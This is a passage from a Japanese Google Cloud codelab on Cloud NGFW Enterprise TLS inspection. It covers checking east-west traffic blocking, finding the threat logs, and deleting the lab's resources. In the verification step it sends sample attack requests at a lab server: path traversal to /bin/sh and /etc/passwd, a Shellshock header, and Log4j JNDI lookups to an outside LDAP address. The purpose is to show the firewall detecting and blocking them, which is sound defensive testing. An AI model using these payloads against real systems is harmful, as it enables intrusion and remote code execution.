12. E/W TLS インスペクションの検証

クライアントに SSH で接続し、更新された信頼構成で E/W トラフィックをテストします。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サーバーにサンプル TLS リクエストを実行します。

curl https://$target_privateip --max-time 2

以下の出力が引き続き表示される場合は、更新が反映されるまでお待ちください。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

予想される出力:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

悪意のあるテスト トラフィックをサーバーに送信します。

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

予想される出力:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

以下の想定される出力に従って、レスポンスが受信されません。これは、E/W でサンプル攻撃がブロックされていることを確認します。

13. ロギング

Cloud コンソールで [ロギング] > [ログ エクスプローラ] に移動し、次のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えます。

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise のログエントリは、次のように表示されます。

5b68cc1063c0f4bd.png

ログエントリを開き、クライアント VM からサーバーに送信された攻撃が検出されてブロックされたことを確認します(下のスクリーンショットにある Apache Log4j リモート コード実行の脆弱性)。

478f18f8481e90ed.png

TLS インスペクションを備えた Cloud NGFW Enterprise を正常にデプロイし、悪意のあるリクエストをブロックできました。

次のセクションに進んでクリーンアップ手順に進みます。

14. クリーンアップ手順

ベース設定のクリーンアップ

インスタンスを削除します。

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin ロールと tagUsers ロールが変更された場合は、次の手順を行います。

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

タグキーと値を削除します。

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud ファイアウォール ネットワーク ポリシーと関連付けを削除します。

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router と Cloud NAT を削除します。

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

予約済みの IP アドレスを削除します。

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、関連付け、TLS のクリーンアップ

セキュリティ プロファイル グループと脅威プロファイルを次の順序で削除します。

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud Firewall エンドポイントの関連付けを削除します。

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall エンドポイントを削除します。これには 20 分ほどかかります。

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

必要に応じて、次のコマンドを実行して Cloud NGFW エンドポイントが削除されたことを確認します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

エンドポイントの状態は次のようになります。

STATE: DELETING

完了すると、エンドポイントはリストに表示されなくなります。

TLS ポリシーと信頼構成を次の順序で削除します。

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

ルート CA と CA プールを無効にして削除します。

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

サブネットと VPC のクリーンアップ

最後に、サブネットと VPC ネットワークを削除します。

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 完了

これで、Cloud NGFW Enterprise for East-West と Northbound TLS Inspection Codelab は終了です。